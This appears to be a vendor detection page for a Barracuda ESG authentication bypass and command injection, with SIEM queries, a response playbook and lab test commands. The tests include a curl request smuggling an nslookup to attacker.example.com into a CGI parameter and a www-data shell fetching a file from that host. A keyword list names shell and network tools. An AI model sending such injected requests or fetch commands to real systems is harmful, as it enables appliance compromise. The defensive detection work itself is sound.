Barracuda ESG Pre-Authentication Authorization Bypass and Command Injection (CVE-2026-116606)
Detects exploitation of CVE-2026-116606, a pre-authentication authorization bypass (CWE-288: Authentication Bypass Using an Alternate Path or Channel) chained with command injection in Barracuda Networks Email Security Gateway (ESG). Attackers reach privileged management endpoints by using an alternate path/channel that skips the normal authentication flow, then inject OS commands that execute as the ESG web service account, yielding remote code execution on the appliance. This CVE is on the CISA KEV list. Detection focuses on anomalous unauthenticated access to administrative/CGI endpoints, command-injection metacharacters in request parameters, and child processes (shell, network tooling) spawned by the appliance web/mail processes.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Barracuda Networks
- Product
- Barracuda Email Security Gateway (ESG)
Weakness (CWE)
Timeline
- Disclosed
- November 10, 2026
References & Proof of Concept
- https://trust.barracuda.com/security/pre-authentication-authorization-bypass-command-injection
- https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2026/MNDT-2026-0042.md
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://nvd.nist.gov/vuln/detail/CVE-2026-116606
- https://thehackernews.com/2026/11/experts-demonstrate-barracuda-email.html
CVSS
What is CVE-2026-116606 Barracuda ESG Pre-Authentication Authorization Bypass and Command Injection (CVE-2026-116606)?
Barracuda ESG Pre-Authentication Authorization Bypass and Command Injection (CVE-2026-116606) (CVE-2026-116606) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Barracuda ESG Pre-Authentication Authorization Bypass and Command Injection (CVE-2026-116606), covering the data sources and telemetry it touches: Web Server Logs, Appliance Management Interface Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-52f2d577f8 · https://df00tech.com/detections/CVE-2026-116606 · licence: https://df00tech.com/detections/licence
let cmdMeta = dynamic([";","|","&&","`","$(","%3B","%7C","%26","nslookup","curl","wget","/bin/sh","/bin/bash","bash -i"]);
let adminPaths = dynamic(["/cgi-mod/","/cgi-bin/","index.cgi","preview.cgi","smtp_test.cgi","/admin"]);
W3CIISLog
| where TimeGenerated > ago(24h)
| where csUriStem has_any (adminPaths) or cIP != ""
| where (scStatus in ("200","302","500") )
| extend decoded = tolower(strcat(csUriStem, "?", coalesce(csUriQuery,"")))
| where decoded has_any (cmdMeta)
| extend SuspiciousNoAuth = iif(csUsername == "" or isempty(csUsername), true, false)
| where SuspiciousNoAuth == true or decoded has_any (cmdMeta)
| project TimeGenerated, cIP, csUsername, csMethod, csUriStem, csUriQuery, scStatus, sSiteName, Computer
| sort by TimeGenerated desc Flags IIS/web-proxy logs for Barracuda ESG admin/CGI endpoints accessed without an authenticated user context or containing OS command-injection metacharacters, indicative of CVE-2026-116606 pre-auth bypass and command injection.
Data Sources
Required Tables
False Positives
- Legitimate administrators running diagnostic CGI tools from the ESG web console
- Vulnerability scanners (e.g., Nessus, Qualys) probing admin endpoints during authorized assessments
- Automated health-check monitoring that polls management endpoints without full authentication context
- URL-encoded parameters in benign requests that coincidentally contain ampersands or semicolons
Query fingerprint DF00-52f2d577f8 · licence
Sigma logsource & community rules
The detection logic for Barracuda ESG Pre-Authentication Authorization Bypass and Command Injection (CVE-2026-116606) (CVE-2026-116606) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-116606
References (5)
- https://trust.barracuda.com/security/pre-authentication-authorization-bypass-command-injection
- https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2026/MNDT-2026-0042.md
- https://nvd.nist.gov/vuln/detail/CVE-2026-116606
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://thehackernews.com/2026/11/experts-demonstrate-barracuda-email.html
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated unauthenticated CGI access to ESG admin endpoint
Expected signal: Web/access log entry for /cgi-mod/index.cgi with no authenticated user context from the test source IP
- Test 2 Simulated command-injection payload in CGI parameter
Expected signal: Web/access log entry containing URL-encoded semicolon and nslookup in the query string
- Test 3 Simulated web-daemon spawning shell/network tool
Expected signal: Process-start event with parent httpd/nginx-equivalent (www-data) and child sh/curl/wget with an outbound URL command line
Response Playbook
Triage
- Confirm the source appliance is a Barracuda Email Security Gateway and check its firmware/patch level against Barracuda's advisory for CVE-2026-116606; appliances behind the fixed release are likely false positives.
- Review the full request(s) to the admin/CGI endpoint: inspect the HTTP method, query string, and body for command-injection metacharacters (`;`, `|`, `` ` ``, `$(...)`) and whether any authenticated session cookie/token was present.
- Correlate the inbound request time with any shell or network-tool child process (curl, wget, nc, /bin/sh) spawned by the appliance web/mail daemon within a 2-minute window.
- Determine whether the source IP is internal, a known scanner, or an unknown external host, and whether the same IP hit multiple appliances or endpoints.
Containment
- Block the attacker source IP(s) at the perimeter firewall and on the appliance management ACL, restricting management-interface access to trusted admin subnets only.
- If exploitation is confirmed, isolate the ESG appliance from outbound internet access to prevent C2/data exfiltration and engage Barracuda support, as compromised appliances have historically required vendor replacement rather than in-place cleanup.
- Rotate all credentials, API tokens, and secrets accessible from the appliance (mail relay accounts, LDAP/AD bind accounts, SMTP credentials).
Evidence Collection
- Preserve appliance web/access logs, mail transaction logs, and any available process/audit logs, and capture a forensic snapshot or support tunnel export before remediation.
- Collect full packet capture or proxy logs for the attacker IP and export the matching SIEM events, including request bodies and spawned-process command lines.
Escalation Criteria
- ! Escalate to incident response immediately if a shell or outbound network process is confirmed to have been spawned by the appliance web/mail daemon following the suspicious request.
- ! Escalate to management and legal/compliance if the appliance handled regulated mail data and evidence indicates mailbox access, exfiltration, or persistence (new cron jobs, backdoor files, modified binaries).
Investigation Guide
Forensic Artifacts
- >
Appliance web/access logs showing requests to cgi-mod/cgi-bin endpoints without authenticated sessions - >
Unexpected child processes (sh, bash, curl, wget, nc) with parent of httpd/nginx/bsmtpd - >
New or modified files, cron entries, or startup scripts on the appliance filesystem indicating persistence - >
Outbound network connections from the appliance to unfamiliar external hosts
Tuning Guidance
Baseline the IPs and user agents of your authorized administrators and vulnerability scanners, and exclude them from the unauthenticated-access branch of the logic. If your appliance logs do not populate a username field for the management interface, rely primarily on the command-injection metacharacter branch and the process-lineage (web daemon spawning a shell) signals to avoid excessive noise. Tighten the metacharacter regex to request parameters known to be reachable pre-auth once your exploit telemetry is understood.
Hunting Queries
Surfaces source IPs repeatedly hitting Barracuda ESG admin CGI endpoints without authentication, a hallmark of scanning/exploitation for CVE-2026-116606.
// df00tech DF00-52f2d577f8 · https://df00tech.com/detections/CVE-2026-116606 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("cgi-mod","cgi-bin","preview.cgi","smtp_test.cgi") | where isempty(csUsername) | summarize count() by cIP, csUriStem, bin(TimeGenerated, 1h) | where count_ > 5 ``` df00tech DF00-52f2d577f8 · https://df00tech.com/detections/CVE-2026-116606 · licence: https://df00tech.com/detections/licence ```
index=web sourcetype IN ("barracuda:esg:http","ms:iis") uri_path IN ("*cgi-mod*","*cgi-bin*") (user="-" OR user="") | stats count by src_ip, uri_path | where count > 5 Atomic Red Team Tests
Sends an unauthenticated HTTP request to a Barracuda-style CGI management path to generate detection telemetry (point at a lab appliance or mock server only).
Command
curl -k -s -o /dev/null -w '%{http_code}\n' 'https://esg-lab.internal:443/cgi-mod/index.cgi?locale=en_US' Cleanup
echo 'No cleanup required; read-only request' Expected Telemetry
Web/access log entry for /cgi-mod/index.cgi with no authenticated user context from the test source IP
Expected Detection
KQL/SPL unauthenticated-admin-access branch fires on the request
Issues a request containing command-injection metacharacters in a CGI parameter to trigger the metacharacter detection branch (lab/mock target only).
Command
curl -k -s 'https://esg-lab.internal:443/cgi-mod/smtp_test.cgi?addr=test%3Bnslookup%20attacker.example.com' Cleanup
echo 'No cleanup required; read-only request' Expected Telemetry
Web/access log entry containing URL-encoded semicolon and nslookup in the query string
Expected Detection
Command-injection metacharacter branch of the KQL/SPL/QRadar/Sumo/Chronicle queries fires
Simulates a web service account spawning a network utility child process as would occur after successful command injection (run in an isolated lab host).
Command
sudo -u www-data /bin/sh -c 'curl -s http://attacker.example.com/x || wget -q http://attacker.example.com/x' Cleanup
echo 'No cleanup required; no files written on failure' Expected Telemetry
Process-start event with parent httpd/nginx-equivalent (www-data) and child sh/curl/wget with an outbound URL command line
Expected Detection
Elastic EQL sequence and CrowdStrike CQL process-lineage queries fire
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040